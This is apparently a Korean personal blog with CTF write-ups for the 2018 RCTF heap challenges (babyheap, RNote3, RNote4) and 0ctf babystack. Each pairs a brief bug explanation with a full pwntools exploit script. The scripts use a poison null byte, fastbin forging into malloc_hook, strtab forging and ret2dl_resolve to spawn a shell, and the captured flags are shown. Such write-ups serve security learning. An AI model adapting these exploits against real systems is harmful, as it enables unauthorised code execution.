HanJeouk의 개인공부 블로그

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

확인

2018 Rctf writeup

CTF2018. 5. 25. 20:29

1. babyheap (44 solved)

read를 입력받을 때 off_by_one 발생. 이걸로 Poison Null byte가 가능해진다. poison null byte로 컨트롤할 수 있는 fastbin 사이즈 청크를 만들고 그 청크가 위치한 주소에 small bin 사이즈 청크를 만들고 free 시켜서 leak이 가능하다. 그 다음 fastbin forge로 malloc_hook을 one_shot으로 덮는다.

FLAG: RCTF{Let_us_w4rm_up_with_a_e4sy_NU11_byte_overflow_lul_7adf58}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
from pwn import *
#p = process(['./babyheap'],env={'LD_PRELOAD':'./Babyheap.so'})
= remote('babyheap.2018.teamrois.cn',3154)
libc = ELF("./Babyheap.so")
def alloc(size,content):
        p.sendlineafter("choice: ","1")
        p.sendlineafter("size: ",str(size))
        p.sendlineafter("content: ",content)
 
def show(idx):
        p.sendlineafter("choice: ","2")
        p.sendlineafter("index: ",str(idx))
 
def delete(idx):
        p.sendlineafter("choice: ","3")
        p.sendlineafter("index: ",str(idx))
 
alloc(60,"A"*52+p64(0))
alloc(0x100,"B"*240+p64(0x100))
alloc(130,"C"*40)
 
delete(1)
delete(0)
 
alloc(72,"a"*64+p64(0))
delete(1)
alloc(0x80,"D"*8)
alloc(0x60,"E"*0x20)
 
delete(1)
delete(2)
 
alloc(0x80,"F"*0x50)
alloc(0xf0,"G"*0xf0)
alloc(0xa0,"H"*0x50)
 
delete(2)
show(3)
p.recvuntil("content: ")
leak = u64(p.recv(6)+"\x00\x00")
base = leak -0x3c4b78
malloc_hook = base+0x3c4b10
fake = malloc_hook-0x23
one = base+0x4526a
 
alloc(0xf0,"g"*0x50)
 
delete(1)
delete(3)
delete(4)
 
alloc(0x100,"A"*0x80+p64(0)+p64(0x70)+"B"*0x60+p64(0)+p64(0x20cc1))
delete(1)
delete(2)
 
print "malloc_hook: " + hex(malloc_hook)
print "fake_add: " + hex(fake)
 
alloc(0x100,"A"*0x80+p64(0)+p64(0x70)+p64(fake))
alloc(0x60,"j"*8)
alloc(0x60,"P"*0x13+p64(one))
 
p.sendlineafter("choice: ","1")
p.sendlineafter("size: ","1")
p.sendline("cat flag")
p.interactive()
 
cs


2. RNote3 (33 solved)

delete 함수에서 ptr을 초기화하지 않아서 가리키는 포인터를 이용하여 전역변수에 등록된 힙 포인터를 0으로 초기화 시키지 않을 수 있다. 그렇게 릭을 하고 똑같은 방식으로 fastbin 청크로 만들고 free된 청크 fd에 malloc hook주소를 넣고 fastbin forge 시켜서 malloc_hook을 one_shot으로 덮은 다음에 free에서 오류를 일으켜 malloc를 호출시키게 해서 풀었다.

FLAG: RCTF{P1e4se_Be_C4refu1_W1th_Th3_P0inter_3c3d89}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from pwn import*
= process(["./RNote3"],env = {'LD_PRELOAD':'./rnote.6'})
#p = remote('rnote3.2018.teamrois.cn',7322)
def add(title,size,content):
        p.sendline("1")
        p.sendlineafter("title: ",str(title))
        p.sendlineafter("size: ",str(size))
        p.sendafter("content: ",str(content))
def view(title):
        p.sendline("2")
        p.sendlineafter("title: ",str(title))
def edit(title,content):
        p.sendline("3")
        p.sendlineafter("title: ",str(title))
        p.sendlineafter("content: ",str(content))
def delete(title):
        p.sendline("4")
        p.sendlineafter("title: ",str(title))
print p.recvline()
add("A",0xf8,"A"*8+"\x0a")
add("A",0xf8,"A"*8+"\x0a")
delete("A")
delete("A")
add("A",0xf8,"A"*0x10+"\n")
delete("qwe")
view("\x00")
p.recvuntil("note content: ")
base = u64(p.recv(6)+"\x00\x00")-0x3c4b78
address = base+0x3c4aed
one = base+0xf02a4
print "base: " + hex(base)
print "Attack_add: " + hex(address)
print "one: " + hex(one)
add("A",0xf8,"A"*0x10+"\x0a")
add("AA",0x68,"A"*0x68)
add("AA",0x68,"A"*0x68)
delete("AA")
delete("AA")
add("AA",0x68,"A"*0x68)
delete("qwe")
edit("\x00",p64(address))
add("AA",0x68,"A"*0x68)
add("AA",0x68,"A"*0x13+p64(one)+'\x0a')
delete(2)
p.interactive()
 
cs


3. RNote4 (24 solved)

취약점은 edit에서 원하는 사이즈 만큼 청크에 입력이 가능해서 포인터 부분을 조작할 수 있는 것이다. 이것을 이용해서 자신이 원하는 주소에 원하는 값을 넣는게 가능해진다. fake strtab을 만들고 원래 strtab을 가리키고 있던 포인터를 내가 만든 fake strtab으로 조작했다. free를 system으로 바꿨다. 그 전까지의 함수들은 사용하지 않기 때문에 다른 값으로 덮어도 상관없다. 그 뒤에 /bin/sh라는 문자열을 가진 청크를 하나 만들고 그 청크를 free 시켜서 풀었다.

FLAG: RCTF{I_kn0w_h0w_dl_f1xup_w0rks_503f8c}


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import*
= process("./RNote4")
#p = remote('rnote4.2018.teamrois.cn',6767)
strtab = 0x601eb0
def add(size,content):
        p.send(p8(1))
        p.send(p8(size))
        p.send(content)
 
def edit(idx,size,content):
 
        p.send(p8(2))
        p.send(p8(idx))
        p.send(p8(size))
        p.send(content)
 
def delete(idx):
        p.send(p8(3))
        p.send(p8(idx))
 
add(0x20,"A"*0x20)
add(0x20,"B"*0x20)
edit(0,0x40,"a"*42+p64(0x21)+"a"*6+p64(0x602100))
edit(1,0x65,"A"*0x5f+"system")
 
edit(0,0x40,"a"*42+p64(0x21)+"a"*6+p64(strtab))
edit(1,0x8,p64(0x602100))
 
add(0x7,"/bin/sh")
delete(2)
p.interactive()
 
cs


 

'CTF' 카테고리의 다른 글

??CTF 2  (0) 2018.11.29
??CTF 1  (0) 2018.11.29
2018 0ctf babystack  (0) 2018.05.25
2015 Codegate final yocto  (0) 2018.05.09
2018_Asis_CTF Just Sort!  (0) 2018.05.03

2018 0ctf babystack

CTF2018. 5. 25. 18:56

오랜만에 라이트업 포스팅을 한다  ㅎㅎㅎㅎ

우선 보호기법을 체크하자.

IDA로 문제를 보면


이게 끝이다. PlaidCTF의 ropasaurusrex가 생각난다. ㅋㅋㅋ

여기서 BOF가 발생하는데 프로그램 안에서 puts 같은 출력함수를 사용하지 않아서 Leak이 불가능하고 입력받을 수 있는 버퍼의 크기가 0x40밖에 되지 않아서 ROP를 사용하기 힘들다.

그래서 return_to_dl_resolve 기법을 사용하여 풀었다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from pwn import*
= process("./babystack")
elf = ELF("./babystack")
p3r = 0x080484e9
p1r = 0x080484eb
bss = 0x0804a020
leaveret = 0x080483a8
jmp_dl = 0x80482f0
strtab = 0x804822c
symtab = 0x80481cc
jmprel = 0x80482b0
binsh = 0x804a3b3
 
reloc = 0x1ed0+0xb0+0x50+0x100+0x4
elf32_rel = p32(elf.got["read"])+p32(0x21d07)
symtab = p32(0x1f70+0xb0+0x50+0x100+0x10)+p32(0)+p32(0)+p32(0x12)
 
payload = "A"*0x28
payload += "B"*4
payload += p32(elf.plt["read"])
payload += p32(0x0804843b#back to main
payload += p32(0)
payload += p32(bss+0x150+0xb0+0x50+0x100
payload += p32(80)
 
p.send(payload)
p.send(p32(jmp_dl)+p32(reloc)+p32(elf.plt["read"])+"AAAA"+p32(binsh)+elf32_rel+"A"*16+symtab+"system\x00"+"/bin/sh\x00")
 
payload2 = "a"*0x28
payload2 += p32(bss+0x150+0xb0+0x50+0x100-4)
payload2 += p32(leaveret)
 
p.send(payload2)
p.interactive()
 
cs

문제를 풀면서 주의해야 할 점은 전역변수에 구조체를 전부설정하고 전역변수 주소를 esp로 돌려야 하는데 그 과정을 fake_ebp를 이용해서 돌려줘야 한다.

또 전역변수에다가 바로 dl resolve를 시도하면 esp가 전역변수 주소라서 프로그램이 실행되면서 들어가는 값들이 전부 전역변수에 들어가게 된다. 그러다가 잘못되서 전역변수 전에 있는 함수 주소를 다른 값으로 덮어버릴 수도 있기 때문에 전역변수+500? 정도로 설정해준다. 

27번째 줄을 설명하자면 나중에 leave ret을 해주면서 esp가 전역변수 주소로 바뀌고 pop eip를 해주면서 mov eip esp가 진행되니 esp에 dl_resolve 주소를 넣어주면 나중에 dl_resolve를 실행시킬 것이다. 

reloc은 leave ret이 진행되면서 인자로 쓰일 fake reloc 오프셋이다. 

gdb를 봐가며 풀었는데 read 부터 binsh까지는 ROP 같은 느낌으로 진행되는 것 같다. 

나머지는 일반적인 ret2dl 기법과 동일하다.

문제를 풀면서 구조체는 다 짜놨는데 dl_resolve를 어떻게 실행할 지 몰라서 시간이 꽤 걸렸던 문제였다. 이제 re2dl 기법 문제들은 그만 풀어봐도 될 것 같다. 다른 거 해야지




'CTF' 카테고리의 다른 글

??CTF 1  (0) 2018.11.29
2018 Rctf writeup  (1) 2018.05.25
2015 Codegate final yocto  (0) 2018.05.09
2018_Asis_CTF Just Sort!  (0) 2018.05.03
2018_Asis_CTF Cat  (0) 2018.05.03